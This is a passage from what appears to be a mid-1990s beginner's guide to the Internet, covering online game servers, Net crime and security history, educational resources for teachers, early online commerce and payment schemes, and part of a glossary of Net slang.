Always remember that you may meet these +other people some day, and they may break your nose. People who treat +others badly gradually build up bad reputations and eventually receive +the NO FUN Stamp of Disapproval." + + + +12.6 GO, GO, GO (AND CHESS, TOO)! + +Fancy a good game of go or chess? You no longer have to head for the +nearest park with a board in hand. The Internet has a couple of machines +that let you engage people from around the world in your favorite board +games. Or, if you prefer, you can watch matches in progress. + +To play go, + + telnet hellspark.wharton.upenn.edu 6969 + log on as: guest + +You'll find prompts to various online help files to get you started. + +For a chess match, + + telnet chess.lm.com 5000 + log on as: guest + +You'll find prompts for online help files on the system, which lets you +choose your skill level. Other game servers include: + + The Backgammon Server (telnet): fraggel65.mdstud.chalmers.se 4321 + Bridge on the Internet (the Web): http://www.cts.com/~okbridge/ + + + + +12.7 THE OTHER SIDE OF THE COIN + + +All is not fun and games on the Net. Like any community, the Net has its +share of obnoxious characters who seem to exist only to make your life +miserable (you've already met some of them in chapter 4). There are +people who seem to spend a bit more time on the Net than many would find +healthy. It also has its criminals. Clifford Stoll writes in "The +Cuckoo's Egg" how he tracked a team of German hackers who were breaking +into U.S. computers and selling the information they found to the +Soviets. Robert Morris, a Cornell University student, was convicted of +unleashing a "worm" program that effectively disabled several thousand +computers connected to the Internet. + +Of more immediate concern to the average Net user are crackers who seek +to find other's passwords to break into Net systems and people who infect +programs on ftp sites with viruses. + +There is a widely available program known as "Crack" that can decipher +user passwords composed of words that might be found in a dictionary +(this is why you shouldn't use such passwords). Short of that, there are +the annoying types who take a special thrill in trying to make you +miserable. The best advice in dealing with them is to count to 10 and +then ignore them -- like juveniles everywhere, most of their fun comes in +seeing how upset you can get. + +Meanwhile, two Cornell University students pleaded guilty in 1992 to +uploading virus-infected Macintosh programs to ftp sites. If you plan to +try out large amounts of software from ftp sites, it might be wise to +download or buy a good anti-viral program. + +But can law enforcement go too far in seeking out the criminals? The +Electronic Frontier Foundation was founded in large part in response to a +series of government raids against an alleged gang of hackers. The raids +resulted in the near bankruptcy of one game company never alleged to have +had anything to do with the hackers, when the government seized its +computers and refused to give them back. The case against another +alleged participant collapsed in court when his attorney showed the +"proprietary" and supposedly hacked information he printed in an +electronic newsletter was actually available via an 800 number for about +$13 -- from the phone company from which that data was taken. + + +12.8 FYI + +You can find discussions about IRC in the alt.irc newsgroup. + +"A Discussion on Computer Network Conferencing," by Darren Reed (May, +1992), provides a theoretical background on why conferencing systems such +as IRC are a Good Thing. It's available through ftp at nic.ddn.mil in +the rfc directory as rfc1324.txt. + +Every Friday, Scott Goehring posts a new list of MUDs and related games +and their telnet addresses in the newsgroup rec.games.mud.announce. There +are several other mud newsgroups related to specific types of MUDs, +including rec.games.mud.social, rec.games.mud.adventure, +rec.games.mud.tiny, rec.games.mud.diku and rec.games.mud.lp. + +For a good overview of the impact on the Internet of the Morris Worm, +read "Virus Highlights Need for Improved Internet Management," by the +U.S. General Accounting Office (June, 1989). You can get a copy via ftp +from cert.sei.cmu.edu in the pub/virus-l/docs directory. It's listed as +gao_rpt. + +Clifford Stoll describes how the Internet works and how he tracked a +group of KGB-paid German hackers through it, in "The Cuckoo's Egg: +Tracking a Spy through the Maze of Computer Espionage," Doubleday (1989). + +For information on keeping your e-mail private, use anonymous FTP +or ncftp to connect to ftp.eff.org and switch to the +pub/Net_info/EFF_Net_Guide/Updates directory and get the file +netupdate.003. + + + + + +Chapter 13: EDUCATION AND THE NET + + + +13.1 THE NET IN THE CLASSROOM + + +If you're a teacher, you've probably already begun to see the potential +the Net has for use in the class. Usenet, the Web and ftp have +tremendous educational potential, from keeping up with world events to +arranging international science experiments. + +Because the Net now reaches so many countries and often stays online even +when the phones go down, you and your students can "tune in" to first- +hand accounts during international conflicts. Look at your system's list +of Usenet soc.culture groups to see if there is one about the country or +region you're interested in. Even in peacetime, these newsgroups can be +great places to find people from countries you might be studying. + +The biggest problem may be getting accounts for your students, if you're +not lucky enough to live within the local calling area of a Free-Net +system. Many colleges and universities, however, are willing to discuss +providing accounts for secondary students at little or no cost. Several +states, including California and Texas, have Internet-linked networks for +teachers and students. + + +13.2 SOME SPECIFIC RESOURCES FOR STUDENTS AND TEACHERS + + +In addition, there are a number of resources on the Internet aimed +specifically at elementary and secondary students and teachers. You can +use these to set up science experiments with classes in another country, +learn how to use computers in the classroom or keep up with the latest +advances in teaching everything from physics to physical education. + +Among them: + +ArtsEdge Federally sponsored Online arts resources for students + and teachers, it's available on the web at + + http://k12.cnidr.org/janice_k12/artsedge/artsedge2.html + +Ask Dr. Math Math professors and college students help k12 students + with tough math questions. Students can ask questions + by e-mail and browse past answers on the Web. The + e-mail address is dr.math@forum.swarthmore.edu; the Web + url http://olmo.swarthmore.edu/dr-math/dr-math.html + +AskERIC Run by the Educational Resource and Information Center, + AskERIC provides a way for educators, librarians and + others interested in K-12 education to get more + information about virtually everything. The center + maintains an e-mail address (askeric@ericir.syr.edu) for + questions and promises answers within 48 hours. It also + maintains a Web site that contains digests of + questions and answers, lesson plans in a variety of + fields and other educationally related information. The + Web address is http://ericir.syr.edu/. + +Health-Ed A mailing list for health educators. Send a request to + health-ed-request@stjhmc.fidonet.org + +K12Net Begun on the Fidonet hobbyist network, K12Net is now also + carried on many Usenet systems and provides a host of + interesting and valuable services. These include + international chat for students, foreign-language + discussions (for example, there are French and German- + only conference where American students can practice + those languages with students from Quebec and German). + There are also conferences aimed at teachers of specific + subjects, from physical education to physics. The K12 + network still has limited distribution, so ask your + system administrator if your system carries it. + +Kidsphere Kidsphere is a mailing list for elementary and secondary + teachers, who use it to arrange joint projects and + discuss educational telecommunications. You will find + news of new software, lists of sites from which you can + get computer-graphics pictures from various NASA + satellites and probes and other news of interest to + modem-using teachers. + To subscribe, send a request by e-mail to kidsphere- + request@vms.cis.pitt.edu or joinkids@vms.cis.pitt.edu and + you will start receiving messages within a couple of + days. + To contribute to the discussion, send messages to + kidsphere@vms.cis.pitt.edu. + KIDS is a spin-off of KIDSPHERE just for students + who want to contact students. To subscribe, send a + request to joinkids@vms.cis.pitt.edu, as above. To + contribute, send messages to kids@vms.cist.pitt.edu. + +MicroMUSE This is an online, futuristic city, built entirely by + participants (see chapter 12 for information on MUSEs + and MUDs in general). Hundreds of students from all + over have participated in this educational exercise, + coordinated by MIT. Telnet to michael.ai.mit.edu. + Log on as guest and then follow the prompts for more + information. + +NASA Spacelink This system, run by NASA in Huntsville, Ala., + provides all sorts of reports and data about NASA, its + history and its various missions, past and present. + Telnet spacelink.msfc.nasa.gov or 128.158.13.250. + When you connect, you'll be given an overview of the + system and asked to register. The system maintains a + large file library of GIF-format space graphics, but note + that you can't download these through telnet. If you want + to, you have to dial the system directly, at (205) 895- + 0028. Many can be obtained through ftp from + ames.arc.nasa.gov, however. + +Newton Run by the Argonne National Laboratory, it offers + conferences for teachers and students, including one + called "Ask a Scientist." + + Telnet: newton.dep.anl.gov. + Log in as: cocotext + + You'll be asked to provide your name and address. When + you get the main menu, hit 4 for the various conferences. + The "Ask a Scientist" category lets you ask questions of + scientists in fields from biology to earth science. + Other categories let you discuss teaching, sports and + computer networks. + +OERI The U.S. Department of Education's Office of Educational + Resources and Improvement runs a gopher system that + provides numerous educational resources, information and + statistics for teachers. Use gopher to connect to + + gopher.ed.gov. + +Spacemet Forum If your system doesn't carry the K12 conferences, but + does provide you with telnet, you can reach the + conferences through SpaceMet Forum, a bulletin-board + system aimed at teachers and students that is run by the + physics and astronomy department at the University of + Massachusetts at Amherst. + + Telnet: spacemet.phast.umass.edu. + + When you connect, hit escape once, after which you'll be + asked to log on. Like K12Net, SpaceMet Forum began as a + Fidonet system, but has since grown much larger. Mort + and Helen Sternheim, professors at the university, + started SpaceMet as a one-line bulletin-board system + several years ago to help bolster middle-school science + education in nearby towns. + In addition to the K12 conferences, SpaceMet carries + numerous educationally oriented conferences. It also has + a large file library of interest to educators and + students, but be aware that getting files to your site + could be difficult and maybe even impossible. Unlike + most other Internet sites, Spacemet does not use an ftp + interface. The Sternheims say ZMODEM sometimes works over + the network, but don't count on it. + +Yahoo This Stanford University web service provides an archive of + links to other educational resources on the net at + http://akebono.stanford.edu/yahoo/Education/ + + +13.3 USENET AND BITNET IN THE CLASSROOM + + +There are numerous Usenet newsgroups of potential interest to +teachers and students. + +As you might expect, many are of a scientific bent. You can find these by +typing l sci. in rn or using nngrep sci. for nn. There are now close to +40, with subjects ranging from archaeology to economics (the "dismal +science," remember?) to astronomy to nanotechnology (the construction of +microscopically small machines). + +One thing students will quickly learn from many of these groups: science +is not just dull, boring facts. Science is argument and standing your +ground and making your case. The Usenet sci. groups encourage critical +thinking. + +Beyond science, social-studies and history classes can keep busy learning +about other countries, through the soc.culture newsgroups. + +Most of these newsgroups originated as ways for expatriates of a given +country to keep in touch with their homeland and its culture. In times +of crisis, however, these groups often become places to disseminate +information from or into the country and to discuss what is happening. +From Afghanistan to Yugoslavia, close to 50 countries are now represented +on Usenet. To see which groups are available, use l soc.culture. in rn +or nngrep soc.culture. for nn. + +Several "talk" newsgroups provide additional topical discussions, but +teachers should screen them first before recommending them to students. +They range from talk.abortion and talk.politics.guns to +talk.politics.space and talk.environment. + +One caveat: Teachers might want to peruse particular newsgroups before +setting their students loose in them. Some have higher levels of flaming +and blather than others, not to mention content that some might not +consider appropriate in a school setting. Some schools have developed +"contracts" that students are required to sign that set out acceptable +Net behavior. + +There are also a number of Bitnet discussion groups of potential interest +to students and teachers. See Chapter 5 for information on finding and +subscribing to Bitnet discussion groups. Some with an educational +orientation include: + +biopi-l ksuvm.bitnet Secondary biology education +chemed-l uwf.bitnet Chemistry education +dts-l iubvm.bitnet The Dead Teacher's Society list +phys-l uwf.bitnet Discussions for physics teachers +physhare psuvm.bitnet Where physics teachers share resources +scimath-l psuvm.bitnet Science and math education + +To get a list of ftp sites that carry astronomical images in the GIF +graphics format, use ftp to connect to nic.funet.fi. Switch to the +/pub/astro/general directory and get the file astroftp.txt. Among the +sites listed is ames.arc.nasa.gov, which carries images taken by the +Voyager and Galileo probes, among other pictures. + + + + + +CHAPTER 14: BUSINESS ON THE NET + + + +14.1 SETTING UP SHOP + +Back in olden days, oh, before 1990 or so, there were no markets in the +virtual community -- if you wanted to buy a book, you still had to jump +in your car and drive to the nearest bookstore. + +This was because back then, the Net consisted mainly of a series of +government-funded networks on which explicit commercial activity was +forbidden. Today, much of the Net is run by private companies, which +generally have no such restrictions, and businesses are falling over +themselves to get online -- from giant companies like AT&T to small +flower shops. In 1994, Home Shopping Network, better known for selling +cubic zirconia on cable TV, bought the Internet Shopping Network, an +online computer store. Its rival, QVC, also has plans for an Internet +service. + +So with an Internet account today, you can buy everything from computers +to condoms. Much of this is being driven by the World-Wide Web, which +makes possible such things as online catalogs and order forms. To be +sure, there were online stores before the Web took off, but the Web lets +a company show off its wares, and logo, in an easy-on-the-eyes (and easy- +to-use) format. And pre-Web efforts concentrated more on giving you +limited access to an online catalog -- you still had to call a phone +number somewhere to actually place an order. + + +14.2 ONLINE STOREFRONTS + + +Some companies, particularly large computer companies such as Digital +Equipment Corp. and Sun Microsystems, Inc., have set up their own online +storefronts. Smaller companies, though, are increasingly setting up shop +in online "malls." The idea behind these malls is similar to that of +real ones -- you go to the mall for one particular item, and then browse +around seeing what else there is (for stores, the advantages are also +similar -- the mall owner is responsible for advertising, promises a +certain amount of "foot traffic" and does all the maintenance). + +One of the earliest malls, in fact, one based on gopher, is run by Msen, +a public-access Internet provider in Ann Arbor, Mich. Its Msen +Marketplace offers a travel agency, "Internet Business Pages" listing +companies with services available on the Internet, and an "Online Career +Center, offering help-wanted ads from across the U.S. You can reach Msen +through gopher at + + gopher.msen.com + +At the main menu, select "Msen Marketplace." + +As of this writing (November, 1994), CommerceNet remains more a concept +than an actual online mall. But if you want to take a peek through a +knothole at the construction, point your Web browser at + + http://www.commerce.net + +HotWired and the Global Network Navigator represent two other ways to do +business on the Internet. Both are online magazines on the Web, +featuring not only links to other services, but original writing, as well +(HotWired, started by Wired magazine, even lets readers participate in +public forums on the articles). Both carry advertising in the form of +icons. Click on the icons (or in the case of Lynx, move your cursor to +the advertiser's name and hit enter) and you'll be connected to +advertising material related to whatever the company in question is +trying to sell. You can try HotWired at + + http://www.hotwired.com + +and Global Network Navigator at + + http://gnn.com + +For the former, you'll have to register first (unusual for a Web +resource); for the latter, you'll have to chose a local GNN server first. + + +14.3 THE CHECK IS IN THE (E)-MAIL + + +But are *you* going to buy something over the Internet? For all the hype +over small florists getting international orders over the Internet, one +has to wonder whether these storefronts will ultimately prove more +successful than the ones that have long been present on commercial +networks such as CompuServe and Prodigy. Are you going to entrust your +credit-card number to the Internet, a network on which security concerns +have made front-page news more than once? + +Some electronic merchants say that sending your credit-card number over +the Internet is really no more risky than handing it over to a clerk in a +department store. Their argument is base on security through obscurity -- +there are so many e-mail messages pouring through the Internet each day +that it would be virtually impossible for a hacker to find the ones +containing credit-card information. + +Others, however, are more wary -- as are their potential customers. +Merchants also want some assurances that the person making an order +really is who she says she is. Internet e-mail is simply ASCII text, and +while the sheer volume of it these days would make it difficult to find +specific messages, one should never underestimate the ability of a +harcker with a computer to find a needle in a haystack (i.e., one credit +card number out of thousands of messages). + +As you might expect, a number of companies are working on making the +Internet safe for business. CommerceNet, a joint venture between the U.S. +government and companies in California's Silicon Valley, has developed a +system based on encryption. When you fill out an online order form, it +is encoded in such a way that only the merchant you're sending it to can +de-code it -- and inside will be your unique "digital signature," proving +you are, in fact, you. + +But this approach relies on you having a special piece of software on +your computer to encrypt the order form. Netscape's World-Wide Web +browser is the first to incorporate this software (that's what the little +broken key in the lower left hand corner is for), but other companies +that sell Web browsers will be adding it over the next few months. + +The basic way it works relies on a technique known as public-key +encryption. In this system, the merchant has a public key, or +mathematical formula, that can be used to encrypt messages meant for him. +Anybody can use this key, but only the merchant has the private key that +can open up the message. Now you can fill out an online order form and +include your credit-card number -- and be assured that nobody can + +But some argue this sort of technique would impede impulse purchase +(surely a right enshrined in the U.S. +Constitution), because you need the right software to handle the +encryption on your computer. + +So other companies are working on the online equivalent of credit cards +good at participating merchants. First, you apply for an account with +one of these companies the old-fashioned way -- by telephone or postal +mail. + +Then, when you connect to a participating merchant and submit an order, +the merchant's computer sends a message to the "credit card" computer. +That computer then sends a message to you, asking you to confirm the +order. One company's computer will even ask you to answer a question +only you could answer (such as your mother's maiden name or your dog's +name). Assuming you answer affirmatively, the transaction is then +completed. + +A third approach involves an attempt to create an electronic equivalent +of cold, hard cash. Proponents say one of the problems with the first +two approaches is that somebody, somewhere, is keeping track of who you +are and what you buy. Instead, in an approach developed by a Dutch +company called DigiCash, your bank essentially lets you withdraw funds +into a digital account that sits on your personal computer. Then when +you enter an online store that accepts this digital money, you can pay +them with these funds. + +This approach, like the cryptography one, requires special software +(which creates your "digital signature"), as well as an account with a +participating bank. + +Now proponents of the last two methods argue that, ultimately, the bulk +of Internet business will center not on big-ticket items such as +computers or cars, but on information. Right now, information for sale +tends to be very expensive and sold on the basis of high hourly rates. +With the potential mass market represented by the Internet, though, +people with information to sell might find it more lucrative to lower +their rates and go for volume. With an all electronic system, it might +become possible, say, to sell information for a small per-article or per- +search charge. + +Over the next year or so, you'll see all three types of systems become +more common in online stores. Expect some confusion as merchants and +users try to figure out which system to use. + + +14.4 THE GOOD, THE BAD AND THE UGLY + + +1994 represented something of a watershed for the Internet -- it was the +year the people who normally advertise in the back of the National +Inquirer and Cosmopolitan discovered the Net. + +Usenet participants found their favorite conferences filled with ads for +everything from thigh-reducing cream to pornography. Canter and Siegel, +a pair of lawyers in Phoenix, Ariz., gained national media attention when +they flooded some 6,000 separate Usenet newsgroups with ads for a $99 +immigration service. + +The reason they gained such notice was not because they had done +something unique (in January, 1994, a system administrator at a small +college in Pennsylvania did much the same thing with postings about how +the Los Angeles earthquake proved the Second Coming was imminent), but +because of the reaction of Internet users. Simply, they were outraged +that no matter what newsgroup they went into, whether it was to discuss +Unix programming or planning a wedding, they found the same darn ad, over +and over and over. Some responded by posting messages on how to get the +same services offered by the lawyers for free. More deluged the lawyers +-- and the administrators at the system they used -- with protest +messages, some 200 megabytes worth in just two days. Suddenly, the once +obscure Usenet phrase "to spam" (from the Monty Python skit about the +restaurant that only serves the stuff) was making the pages of the New +York Times. + +But what the lawyers pulled may be the last time anybody gets away with +something like that. Today, numerous Usenet users stay on the alert for +spamming. Using a technique known as "cancelling," they are able to wipe +out such messages almost as soon as they pop up. + +The moral of the story is that Internet users do not object to +advertising in general, but that many feel it has a proper place -- in +online catalogs that users have to make a point of going to, not shoved +down people's throats in discussion areas. + + +14.5 FYI + + +You can read about Digicash's e-cash proposal at its Web site: +http://www.digicash.com. + +Open Marketplace, Inc., is developing a credit-card type of approach +to commerce. You can get a look on the Web at +http://www.openmarket.com/omp.html. + +Dave Taylor's "Internet Shopping Mall" is a comprehensive listing of +online stores. You can get it via anonymous FTP at ftp.netcom.com. +Look in the /pub/Gu/Guides directory. It's also available via Gopher +at peg.cwis.uci.edu. From the main menu, select Accessing the +Internet, PEG, Internet Assistance and then Internet Shopping Mall +(you may have to go down a couple of pages to get there). + +If you want to discuss the online shopping experience, the imall-chat +mailing list is for you. To subscribe, write to listserv@netcom.com. +Leave your subject line blank, and as your message, write: subscribe +imall-chat. + +Bob O'Keefe at Renssalaer Polytechnic Institute maintains an extensive +listing of businesses on the Net. It's available via the Web at +http://www.rpi.edu/okeefe/businss.html. + +You'll find another extensive listing at Stanford University's Yahoo +site on the Web: http://akebono.stanford.edu/yahoo/Business/Corporations + +Kent State University in Ohio maintains a repository of "Business Sources +on the Net." Use gopher to connect to refmac.kent.edu. + +Two books to take a look at are Jill Ellsworth's "The Internet +Business Book" (John Wiley and Sons) and Mary Cronin's "Doing Business +on the Internet" (1994, Van Nostrand Reinhold). + +The alt.current-events.net-abuse Usenet newsgroup is the place to discuss +spamming and other obnoxious advertising. + + + + + +Chapter 15: THE END? + + + +The revolution is just beginning. New communications systems and digital +technologies have already meant dramatic changes in the way we live. +Think of what is already routine that would have been considered +impossible just ten years ago. You can browse through the holdings of +your local library -- or of libraries halfway around the world -- do your +banking and see if your neighbor has gone bankrupt, all through a +computer and modem. + +Imploding costs coupled with exploding power are bringing ever more +powerful computer and digital systems to ever growing numbers of people. +The Net, with its rapidly expanding collection of databases and other +information sources, is no longer limited to the industrialized nations +of the West; today it extends from Siberia to Zimbabwe. The cost +of computers and modems used to plug into the Net, meanwhile, continue +to plummet, making them ever more affordable, even as the Internet +becomes easier to use. + +Cyberspace has become a vital part of millions of people's daily +lives. People form relationships online, they fall in love, they get +married, all because of initial contacts in cyberspace, that ephemeral +``place'' that transcends national and state boundaries. Business +deals are transacted entirely in ASCII. Political and social +movements begin online, coordinated by people who could be thousands +of miles apart. + +Yet this is only the beginning. + +We live in an age of communication, yet the various media we use to talk +to one another remain largely separate systems. One day, however, your +telephone, TV, fax machine and personal computer will be replaced by a +single ``information processor'' linked to the worldwide Net by strands +of optical fiber. + +Beyond databases and file libraries, power will be at your fingertips. +Linked to thousands, even millions of like-minded people, you'll be able +to participate in social and political movements across the country and +around the world. + +How does this happen? In part, it will come about through new +technologies. High-definition television will require the development of +inexpensive computers that can process as much information as today's +workstations. Telephone and cable companies will cooperate, or in some +cases compete, to bring those fiber-optic cables into your home. + +The Clinton administration, arguably the first led by people who know how +to use not only computer networks but computers, is pushing for creation +of a series of "information superhighways" comparable in scope to the +Interstate highway system of the 1950s (one of whose champions in the +Senate has a son elected vice president in 1992). + +Right now, we are in the network equivalent of the early 1950s, just +before the creation of that massive highway network. Sure, there are +plenty of interesting things out there, but you have to meander along +two-lane roads, and have a good map, to get to them. + +Creation of this new Net will require more than just high-speed channels +and routing equipment; it will require a new communications paradigm: the +Net as information utility. The Net remains a somewhat complicated and +mysterious place. To get something out of the Net today, you have to +spend a fair amount of time with a Net veteran or a manual like this. +You have to learn such arcana as the vagaries of the Unix cd command. + +Contrast this with the telephone, which now also provides access to large +amounts of information through push buttons, or a computer network such +as Prodigy, which one navigates through simple commands and mouse clicks. + +Internet system administrators have begun to realize that not all people +want to learn the intricacies of Unix, and that that fact does not make +them bad people. We are already seeing the development of simple +interfaces that will put the Net's power to use by millions of people. +You can already see their influence in the menus of gophers and the +World-Wide Web, which require no complex computing skills but which open +the gates to thousands of information resources. Mail programs and text +editors such as pico and pine promise much of the power of older programs +such as emacs at a fraction of the complexity. + +Some software engineers are taking this even further, by creating +graphical interfaces that will let somebody navigate the Internet just by +clicking on the screen with a mouse or by calling up an easy text editor, +sort of the way one can now navigate a Macintosh computer -- or a +commercial online service such as Prodigy. + +Then there are the Internet services themselves. + +For every database now available through the Internet, there are probably +three or four that are not. Government agencies are only now beginning +to connect their storehouses of information to the Net. Several +commercial vendors, from database services to booksellers, have made +their services available through the Net. + +Few people now use one of the Net's more interesting applications. A +standard known as MIME lets one send audio and graphics files along with +an E-mail message. Imagine opening your e-mail one day to hear your +granddaughter's first words, or a "photo" of your friend's new house. +Eventually, this standard could allow for distribution of even small +video displays over the Net. + +All of this will require vast new amounts of Net power, to handle both +the millions of new people who will jump onto the Net and the new +applications they want. Replicating a moving image on a computer screen +alone takes a phenomenal amount of computer bits, and computing power to +arrange them. + +All of this combines into a National Information Infrastructure able to +move billions of bits of information in one second -- the kind of power +needed to hook information "hoses" into every business and house. + +As these "superhighways" grow, so will the "on ramps," for a high-speed +road does you little good if you can't get to it. The costs of modems +seem to fall as fast as those of computers. High-speed modems (9600 baud +and up) are becoming increasingly affordable. At 9600 baud, you can +download a satellite weather image of North America in less than two +minutes, a file that, with a slower modem could take up to 20 minutes to +download. Eventually, homes could be connected directly to a national +digital network. Most long-distance phone traffic is already carried in +digital form, through high-volume optical fibers. Phone companies are +ever so slowly working to extend these fibers the "final mile" to the +home. The Electronic Frontier Foundation is working to ensure these +links are affordable. + +Beyond the technical questions are increasingly thorny social, political +and economic issues. Who is to have access to these services, and at what +cost? If we live in an information age, are we laying the seeds for a +new information under class, unable to compete with those fortunate +enough to have the money and skills needed to manipulate new +communications channels? Who, in fact, decides who has access to what? +As more companies realize the potential profits to be made in the new +information infrastructure, what happens to such systems as Usenet, +possibly the world's first successful anarchistic system, where everybody +can say whatever they want? + +What are the laws of the electronic frontier? When national and state +boundaries lose their meaning in cyberspace, the question might even be: +WHO is the law? What if a practice that is legal in one country is +"committed" in another country where it is illegal, over a computer +network that crosses through a third country? Who goes after computer +crackers? + +What role will you play in the revolution? + +Appendix A: THE LINGO + + +Like any community, the Net has developed its own language. What follows +is a glossary of some of the more common phrases you'll likely run into. +But it's only a small subset of net.speak. You an find a more complete +listing in "The New Hacker's Dictionary," compiled by Eric Raymond (MIT +Press). Raymond's work is based on an online reference known as "The +Jargon File," which you can get through anonymous ftp from +ftp.gnu.mit.ai.mit as jarg300.txt.gz in the pub/gnu directory (see +chapter 7 for information on how to un-compress a .gz file). + +AFAIK As Far As I Know. + +ASCII Has two meanings. ASCII is a universal computer code + for English letters and characters. Computers store + all information as binary numbers. In ASCII, the + letter "A" is stored as 01000001, whether the computer + is made by IBM, Apple or Commodore. ASCII also refers + to a method, or protocol, for copying files from one + computer to another over a network, in which neither + computer checks for any errors that might have been + caused by static or other problems. + +ANSI Computers use several different methods for deciding + how to put information on your screen and how your + keyboard interacts with the screen. ANSI is one of + these "terminal emulation" methods. Although most + popular on PC-based bulletin-board systems, it can also + be found on some Net sites. To use it properly, you + will first have to turn it on, or enable it, in your + communications software. + +ARPANet A predecessor of the Internet. Started in 1969 with + funds from the Defense Department's Advanced Projects + Research Agency. + +backbone A high-speed network that connects several powerful + computers. In the U.S., the backbone of the Internet is + often considered the NSFNet, a government funded link + between a handful of supercomputer sites across the + country. + +Baud The speed at which modems transfer data. One baud is + roughly equal to one bit per second. It takes eight + bits to make up one letter or character. Modems rarely + transfer data at exactly the same speed as their listed + baud rate because of static or computer problems. More + expensive modems use systems, such as Microcom Network + Protocol (MNP), which can correct for these errors or + which "compress" data to speed up transmission. + +BITNet Another, academically oriented, international computer + network, which uses a different set of computer + instructions to move data. It is easily accessible to + Internet users through e-mail, and provides a large + number of conferences and databases. Its name comes from + "Because It's Time." + +Bookmark A gopher or Web file that lets you quickly connect to +page listed sites. + +Bounce What your e-mail does when it cannot get to its + recipient -- it bounces back to you -- unless it goes + off into the ether, never to be found again. + +Command line On Unix host systems, this is where you tell the + machine what you want it to do, by entering commands. + +Communications A program that tells a modem how to work. +software + +Daemon An otherwise harmless Unix program that normally works + out of sight of the user. On the Internet, you'll most + likely encounter it only when your e-mail is not + delivered to your recipient -- you'll get back your + original message plus an ugly message from a "mailer + daemon. + +Distribution A way to limit where your Usenet postings go. Handy for + such things as "for sale" messages or discussions of + regional politics. + +Domain The last part of an Internet address, such as "news.com." + +Dot When you want to impress the net veterans you meet at + parties, say "dot" instead of "period," for example: "My + address is john at site dot domain dot com." + +Dot file A file on a Unix public-access system + that alters the way you or your messages interact with + that system. For example, your .login file contains + various parameters for such things as the text editor you + get when you send a message. When you do an ls command, + these files do not appear in the directory listing; do ls + -a to list them. + +Down When a public-access site runs into technical trouble, + and you can no longer gain access to it, it's down. + +Download Copy a file from a host system to your computer. There + are several different methods, or protocols, for + downloading files, most of which periodically check the + file as it is being copied to ensure no information is + inadvertently destroyed or damaged during the process. + Some, such as XMODEM, only let you download one file at + a time. Others, such as batch-YMODEM and ZMODEM, let + you type in the names of several files at once, which + are then automatically downloaded. + +EMACS A standard Unix text editor preferred by Unix types + that beginners tend to hate. + +E-mail Electronic mail -- a way to send a private message to + somebody else on the Net. Used as both noun and verb. + +Emoticon See smiley. + +F2F Face to Face. When you actually meet those people you + been corresponding with/flaming. + +FAQ Frequently Asked Questions. A compilation of answers to + these. Many Usenet newsgroups have these files, which + are posted once a month or so for beginners. + +Film at 11 One reaction to an overwrought argument: "Imminent death + of the Net predicted. Film at 11." + +Finger An Internet program that lets you get some bit of + information about another user, provided they have first + created a .plan file. + +Flame Online yelling and/or ranting directed at somebody else. + Often results in flame wars, which occasionally turn into + holy wars (see). + +Followup A Usenet posting that is a response to an earlier + message. + +Foo/foobar A sort of online algebraic place holder, for example: "If + you want to know when another site is run by a for- + profit company, look for an address in the form of + foo@foobar.com." + +Fortune cookie An inane/witty/profund comment that can be found around + the net. + +Freeware Software that doesn't cost anything. + +FTP File-transfer Protocol. A system for transferring files + across the Net. + +Get a life What to say to somebody who has, perhaps, been spending a + wee bit too much time in front of a computer. + +GIF Graphic Interchange Format. A format developed in the + mid-1980s by CompuServe for use in photo-quality graphics + images. Now commonly used everywhere online. + +GNU Gnu's Not Unix. A project of the Free Software + Foundation to write a free version of the Unix operating + system. + +Hacker On the Net, unlike among the general public, this is not + a bad person; it is simply somebody who enjoys stretching + hardware and software to their limits, seeing just what + they can get their computers to do. What many people + call hackers, net.denizens refer to as crackers. + +Handshake Two modems trying to connect first do this to agree on + how to transfer data. + +Hang When a modem fails to hang up. + +Hotlist Same as a to bookmark page (see). + +Holy war Arguments that involve certain basic tenets of faith, + about which one cannot disagree without setting one of + these off. For example: IBM PCs are inherently superior to + Macintoshes. + +Host system A public-access site; provides Net access to people + outside the research and government community. + +HTML Hypertext Markup Language. The coding used on Web + pages to define hyperlinks (see), graphics and the like. + +HTTP Hypertext Transport Protocol. The system used to + connect World-Wide Web resources to each other and to + users. + +Hyperlink A way to connect two Internet resources via a simple + word or phrase on which a user can click to start the + connection. + + +IMHO In My Humble Opinion. + +Internet A worldwide system for linking smaller computer + networks together. Networks connected through the + Internet use a particular set of communications + standards to communicate, known as TCP/IP. + +Killfile A file that lets you filter Usenet postings to some + extent, by excluding messages on certain topics or from + certain people. + +Log on/log in Connect to a host system or public-access site. + +Log off Disconnect from a host system. + +Lurk Read messages in a Usenet newsgroup without ever saying + anything. + +Mailing list Essentially a conference in which messages are delivered + right to your mailbox, instead of to a Usenet newsgroup. + You get on these by sending a message to a specific e- + mail address, which is often that of a computer that + automates the process. + +MOTSS Members of the Same Sex. Gays and Lesbians online. + Originally an acronym used in the 1980 federal census. + +Net.god One who has been online since the beginning, who knows + all and who has done it all. + +Net.personality Somebody sufficiently opinionated/flaky/with plenty of + time on his hands to regularly post in dozens of + different Usenet newsgroups, whose presence is known to + thousands of people. + +Net.police Derogatory term for those who would impose their + standards on other users of the Net. Often used in + vigorous flame wars (in which it occasionally mutates to + net.nazis). + +Netiquette A set of common-sense guidelines for not annoying others. + +Network A communications system that links two or more + computers. It can be as simple as a cable strung + between two computers a few feet apart or as complex + as hundreds of thousands of computers around the world + linked through fiber optic cables, phone lines and + satellites. + +Newbie Somebody new to the Net. Sometimes used derogatorily by + net.veterans who have forgotten that, they, too, were + once newbies who did not innately know the answer to + everything. "Clueless newbie" is always derogatory. + +Newsgroup A Usenet conference. + +NIC Network Information Center. As close as an Internet- + style network gets to a hub; it's usually where you'll + find information about that particular network. + +NSA line eater The more aware/paranoid Net users believe that the + National Security Agency has a super-powerful computer + assigned to reading everything posted on the Net. They + will jokingly (?) refer to this line eater in their + postings. Goes back to the early days of the Net when + the bottom lines of messages would sometimes disappear + for no apparent reason. + +NSF National Science Foundation. Funds the NSFNet, a + high-speed network that once formed the backbone of the + Internet in the U.S. + +Offline When your computer is not connected to a host system + or the Net, you are offline. + +Online When your computer is connected to an online service, + bulletin-board system or public-access site. + +Ping A program that can trace the route a message takes from + your site to another site. + +.plan file A file that lists anything you want others on the Net to + know about you. You place it in your home directory on + your public-access site. Then, anybody who fingers (see) + you, will get to see this file. + +Post To compose a message for a Usenet newsgroup and then send + it out for others to see. + +Postmaster The person to contact at a particular site to ask for + information about the site or complain about one of + his/her user's behavior. + +Protocol The method used to transfer a file between a host + system and your computer. There are several types, + such as Kermit, YMODEM and ZMODEM. + +Prompt When the host system asks you to do something and + waits for you to respond. For example, if you see + "login:" it means type your user name. + +README files Files found on FTP sites that explain what is 